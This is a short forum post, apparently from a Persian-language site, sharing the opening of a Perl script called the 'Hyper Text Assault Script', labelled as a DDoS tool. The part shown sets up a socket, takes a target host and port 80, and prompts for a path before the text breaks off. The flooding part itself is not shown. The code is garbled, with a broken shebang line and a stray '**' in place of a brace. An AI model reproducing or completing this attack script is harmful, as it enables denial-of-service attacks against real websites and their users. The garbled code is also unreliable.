Perl DDoSer Serv / فان پاتوق

- Perl DDoSer Serv
کد PHP:
#!usr/bin/perl
#please dont edit this without including this.
#HTAS project --> Xer0X
use IO::Socket::INET;
print "Welcome to the Hyper Text Assault Script, or HTAS v1.0b";
while (!$ARGV[0]) **
&usage; #change to usage subroutine
}
$x=1;
$gz00=1;
$Host = "$ARGV[0]";
$Port = 80;

print " Please enter... ";
print " Path: (NOT SITE!):";
$url = <STDIN>;
chop($url);
print "First Form